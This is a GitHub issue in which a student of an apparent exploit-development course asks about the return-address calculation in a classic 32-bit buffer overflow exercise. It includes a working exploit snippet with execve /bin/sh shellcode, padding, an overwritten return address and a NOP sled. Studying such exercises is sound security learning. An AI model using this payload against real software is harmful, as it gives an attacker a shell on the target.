Skip to content

I cannot understand the ret_address in classic overflow module #5

Open
@halfluke

Description

@halfluke

Hi,

I've just started the course and I'm really grateful to have found such a step by step resource.

In the the classic buffer overflow section, I'm not sure I understand why you put:
ret_address = 0xffffd5f0 + 28 + 4
in both examples.
I calculated the correct ret_address for my machine and it works fine but I had to remove
"+ 28 + 4" : the 28 bytes junk is added later and the 4 bytes is the ret address itself

ret_address = 0xffffd5b0
shellcode = ("\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" +
             "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" +
             "\x80\xe8\xdc\xff\xff\xff/bin/sh")
payload = "A"*28 + p32(ret_address)
padding_len = 100 - len(payload) - len(shellcode)
payload += "\x90" * padding_len + shellcode

Thank you

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions